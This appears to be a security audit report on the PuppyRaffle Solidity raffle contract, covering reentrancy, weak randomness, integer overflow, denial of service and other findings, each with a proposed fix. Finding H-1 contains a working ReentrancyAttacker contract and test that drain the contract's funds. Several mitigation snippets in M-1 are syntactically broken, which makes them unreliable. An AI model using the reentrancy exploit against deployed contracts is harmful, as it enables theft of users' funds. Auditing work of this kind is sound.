# PuppyRaffle Audit Report

Version 1.0

March 22, 2024

# PuppyRaffle Audit Report

Aq fatma

March 22, 2024

Prepared by: Aq Fatma Lead Auditors: - Aq Fatma

## Table of Contents

  - [M-2]Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existence players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable
  - [G-2] Storage variable in a loop should be cached
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2]: Using an outdated version of solidity is not recommended
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] Event* is missing `indexed` fields

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The AQ team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not

an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

### Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

### RolesV

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

The audit conducted on PuppyRaffle Smart Contracts has been comprehensive, with a thorough examination of its codebase using tools such as Slither, Chisel, and Aderyn, alongside manual inspection. Over the course of nearly two hours, numerous potential vulnerabilities and areas of improvement were identified and analyzed.

### Issues found

| severity | Number Of Issues Found |
|---|---|
| Highs | 3 |
| Mediums | 3 |
| Lows | 1 |
| Info | 7 |
| Gas | 2 |
| Totals | 16 |

## Findings

#### [H-1] Reentrancy attack in `puppyRaffle::refund` allows entrant to drain raffle balance

**Description:**

The `PuppyRaffle::refund` function does not follow CEI (Check Effects Interactions) and as a result,enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we firstmake an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2             // written skipped MEV
3             address playerAddress = players[playerIndex];
4             require(playerAddress == msg.sender, "PuppyRaffle: Only the
                  player can refund");
5             require(playerAddress != address(0), "PuppyRaffle: Player
                 already refunded, or is not active");
6
```

```
7  @>              payable(msg.sender).sendValue(entranceFee);
8  @>              players[playerIndex] = address(0);
9                 emit RaffleRefunded(playerAddress);
10            }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

**Proof Of Concept:**

1. User enters the raffle
2. Attacker sets up a contract with a fall back function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

**Proof Of Code:**

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1  function testReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attackContract = new ReentrancyAttacker(
               puppyRaffle);
10         address attackUser = makeAddr("attackUser");
11         vm.deal(attackUser,1 ether);
12
13         uint256 startingAttackContractBalance = address(attackContract)
               .balance;
14         uint256 startingContractBalance = address(puppyRaffle).balance;
15
16         //attack
17
18         vm.prank(attackUser);
19         attackContract.attack{value: entranceFee}();
20
21         console.log("Starting Attacker contract balance",
               startingAttackContractBalance);
```

```
22          console.log("Starting contract balance",
                startingContractBalance);
23
24          console.log("Ending Attacker contract balance", address(
                attackContract).balance);
25          console.log("Ending contract balance", address(puppyRaffle).
                balance);
26      }
```

And this contract as well

```
1  contract ReentrancyAttacker{
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle){
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable{
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17
18
19     }
20     function _stealMoney() internal{
21          if(address(puppyRaffle).balance >= entranceFee){
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25     fallback() external payable{
26        _stealMoney();
27     }
28
29     receive() external payable{
30         _stealMoney();
31     }
32 }
```

**Recommended Mitigation:**

To prevent this, we should have the `puppyRaffle::refund` function update the `players` array before making any external call. Additionally we should move the event emission up as well.

```
1      function refund(uint256 playerIndex) public {
```

```
2               // written skipped MEV
3               address playerAddress = players[playerIndex];
4               require(playerAddress == msg.sender, "PuppyRaffle: Only the
                    player can refund");
5               require(playerAddress != address(0), "PuppyRaffle: Player
                   already refunded, or is not active");
6   +           players[playerIndex] = address(0);
7   +           emit RaffleRefunded(playerAddress);
8               payable(msg.sender).sendValue(entranceFee);
9   -           players[playerIndex] = address(0);
10  -           emit RaffleRefunded(playerAddress);
11          }
```

### [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:**

Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This means users can front-run this function and call `refund` if they see they are not the winner.

**Impact:**

Any users can influence the winner of the rafle ,winning the money ad selecting the `rarest` puppy. making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

**Proof of Concept:**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. `block.difficulty` was recently replaced with prevrandao.
2. Users acn manipulate their `msg.sender` value to result in their address bwing used ato generate the winner.
3. Users can revert their winner `selectWinner` transaction if they dont like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well documented attack vector in blockchain.

**Recommended Mitigation:**

Consider using a cryptographically provable random number generator such as a chainlink VRF.

### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

**Description:**

In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    //18446744073709551615
    myVar = myVar + 1
    //myvar will be 0 due to overflow of uint64
```

**Impact:**

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees .Leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
    totalFees = 800000000000000000 + 178000000000000000
    //this will overflow
    totalFees = 153255926290448384
```

4. you will not be ableto withdraw, due to the line in `puppyRaffle::withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol.At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
        function testTotalFeesOverflow() public playersEntered {
                // We finish a raffle of 4 to collect some fees
                vm.warp(block.timestamp + duration + 1);
                vm.roll(block.number + 1);
                puppyRaffle.selectWinner();
                uint256 startingTotalFees = puppyRaffle.totalFees();
                // startingTotalFees = 800000000000000000

                // We then have 89 players enter a new raffle
```

```
10                  uint256 playersNum = 89;
11                  address[] memory players = new address[](playersNum);
12                  for (uint256 i = 0; i < playersNum; i++) {
13                      players[i] = address(i);
14                  }
15                  puppyRaffle.enterRaffle{value: entranceFee * playersNum
                        }(players);
16                  // We end the raffle
17                  vm.warp(block.timestamp + duration + 1);
18                  vm.roll(block.number + 1);
19
20                  // And here is where the issue occurs
21                  // We will now have fewer fees even though we just
                        finished a second raffle
22                  puppyRaffle.selectWinner();
23
24                  uint256 endingTotalFees = puppyRaffle.totalFees();
25                  console.log("ending total fees", endingTotalFees);
26                  assert(endingTotalFees < startingTotalFees);
27
28                  // We are also unable to withdraw any fees because of
                        the require check
29                  vm.prank(puppyRaffle.feeAddress());
30                  vm.expectRevert("PuppyRaffle: There are currently
                        players active!");
31                  puppyRaffle.withdrawFees();
32              }
```

**Recommended Mitigation:**

There are a few possible mitigations.

1. Use newer versions of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also the `safeMath` library from OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type f too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final `require` so we recommend removing it regardless.

## Medium

### [M-1] Looping through players array to find a duplicate entry in `PuppyRaffle::enterRaffle` function is a potential DOS attack,incrementing gas costs for future entrants of the raffle.

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to find a duplicate.However the longer the `players` array is, the more checks more checks a new player has to make.This means the gas costs for players who enter right after the raffle starts will be dramatically lower as compared to players who enter later, every additional address in the `players` is an additional check the loop will have to make.

```
1 // @audit DOS attack
2 @>> for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

**Impact:**

The gas cost for raffle entrants will increase as more players enter the raffle,therefore discouraging more players into the raffle in future.

An attacker might make `PuppyRaffle::entrants` array so big ,that no one else enters,guaranteeing themselves the win.

**Proof of Concept:** If we have 2 sets of 100 players enter ,the gas costs will be as such: -1st 100 players: 6252048 gas -2nd 100 players: 18068144 gas

POC Place the following test into `PuppyRaffleTest.t.sol`.

```
1  function testDOSCheck() public {
2          //Lets enter 100 players
3          vm.txGasPrice(1);
4          uint256 playersNum = 100;
5          address[] memory players = new address[](playersNum);
6          for(uint256 i = 0; i<playersNum; i++){
7              players[i] = address(i);
8
9          }
10         //calculate gas usage for the first 100 players
11         uint256 gasStart = gasleft();
12         puppyRaffle.enterRaffle{value: entranceFee*players.length}(
               players);
13         uint256 gasEnd = gasleft();
```

```
14
15          uint256 gasUsedFirst= (gasStart-gasEnd)*tx.gasprice;
16          console.log("Gas Start is:", gasStart);
17          console.log("Gas End is:",gasEnd);
18          console.log("The gas cost of the 1st 100 players",gasUsedFirst)
                ;
19
20          //For the 2nd 100 players
21          address[] memory playersTwo = new address[](playersNum);
22          for(uint256 i = 0; i<playersNum; i++){
23              playersTwo[i] = address(i+playersNum);
24
25          }
26          uint256 gasStartSecond = gasleft();
27          puppyRaffle.enterRaffle{value: entranceFee*playersTwo.length}(
                playersTwo);
28          uint256 gasEndSecond = gasleft();
29
30          uint256 gasUsedSecond= (gasStartSecond-gasEndSecond)*tx.
                gasprice;
31          console.log("Gas Start is round 2:", gasStartSecond);
32          console.log("Gas End is round 2:",gasEndSecond);
33          console.log("The gas cost of the 2nd 100 players",gasUsedSecond
                );
34
35          assert(gasUsedFirst < gasUsedSecond);
36
37
38      }
```

**Recommended Mitigation:** 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplcate check doesnt prevent the same person from entering multiple times ,only the same wallet address. 2. Consider using a maping to check for duplicates. this would allow constant time lookup of whether a userhas already entered .

```
1  +        mapping(address => uint256) public addressToRaffleId;
2  +        uint256 public raffleId = 0;
3           .
4           .
5           .
6           function enterRaffle(address[] memory newPlayers) public
                payable {
7
8                   require(msg.value == entranceFee * newPlayers.length, "
                        PuppyRaffle: Must send enough to enter raffle");
9                   for (uint256 i = 0; i < newPlayers.length; i++) {
10                      players.push(newPlayers[i]);
11                      addressToRaffle[newPlayers[i]] = raffleId;
12                  }
13
```

```
14 -                 // Check for duplicates
15 +                 //check for duplicates only from the new players
16                   for (uint256 i = 0; i < newPlayers.length; i++) {
17                       require(addressToRaffleId[newPlayers[i]], !=
                            raffleId"PuppyRaffle: Duplicate player");
18                   }
19
20 -                 for (uint256 i = 0; i < players.length - 1; i++) {
21 -                     for (uint256 j = i + 1; j < players.length; j++) {
22 -                         require(players[i] != players[j], "PuppyRaffle
       : Duplicate player");
23 -                     }
24 -                 }
25                           emit RaffleEnter(newPlayers);
26               }
27
28                function selectWinner() external {
29 +                 raffleId = raffleid + 1;
30                   require(block.timestamp >= raffleStartTime +
                        raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use [OpenZeppelin's `EnumerableSet` library]

### [M-2]Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:**

In `Puppyraffle::selectWinner` there is a type cast of `fee` which is a uint256 into uint64. this is an unsafe cast, and if the `uint256` is larger than type(uint64) max ,the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length >= 4, "PuppyRaffle: Need at least 4
                players");
4           uint256 winnerIndex =
5               uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
6           address winner = players[winnerIndex];
7           uint256 totalAmountCollected = players.length * entranceFee;
8           uint256 prizePool = (totalAmountCollected * 80) / 100;
9           uint256 fee = (totalAmountCollected * 20) / 100;
10 @>>       totalFees = totalFees + uint64(fee);
11
12      }
```

### [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

**Description:**

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However,if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter ,but it could cost alot due to the duplicate check and a lottery reset could get very challenging.

**Impact:**

The `PuppyRaffle::selectWinner` function could revert many times, makinga lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money

**Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends. 3. The `selectWinner` function wouldnt work,even though the lottery is over!

**Recommended Mitigation:**

1. Do not allow smart contract wallet entrants(not recommended).
2. Create a mapping of address -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function.(Recommended)

## Low

### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existence players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description:**

If a player is in the `PuppyRaffle::getActivePlayerIndex` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1    function getActivePlayerIndex(address player) external view returns (
        uint256) {
2           for (uint256 i = 0; i < players.length; i++) {
3               if (players[i] == player) {
4                   return i;
5               }
6           }
```

```
7           return 0;
8       }
```

**Impact:**

A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again wasting gas.

**Proof of Concept:** 1. User enters the raffle, they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0. 3. User thinks they have not entered correctly due to the function documentation.

**Recommended Mitigation:**

To revert if the player is not in the array instead of returning 0. The best solution might be to return an `int256` where the function returns -1 if the player is not active.

## Gas

#### [G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is more expensive than reading from a constant or immutable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

#### [G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1  +   uint256 playerLength = players.length;
2  -    for (uint256 i = 0; i < players.length - 1; i++) {
3  +    for (uint256 i = 0; i<playerLength-1; i++){
4  -                for (uint256 j = i + 1; j < players.length; j++) {
5  +                for  (uint256 j = i + 1; j < playerLength; j++)
6                       require(players[i] != players[j], "PuppyRaffle:
                           Duplicate player");
7                   }
8               }
```

### [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  “‘solidity pragma solidity ^0.7.6;

### [I-2]: Using an outdated version of solidity is not recommended

-`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex `pragma` statement.

**Recommendation** Deploy with any of the following Solidity versions:

- 0.8.18

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information.

### [I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 187

```
1          previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 210

```
1          feeAddress = newFeeAddress;
```

### [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and folow CEI (Checks, Effects, Interactions).

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase , and its much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

### [I-6] Event* is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 58

  ```
  event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 59

  ```
  event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 60

```
1      event FeeAddressChanged(address newFeeAddress);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

```
1 @>>     function _isActivePlayer() internal view returns (bool) {
```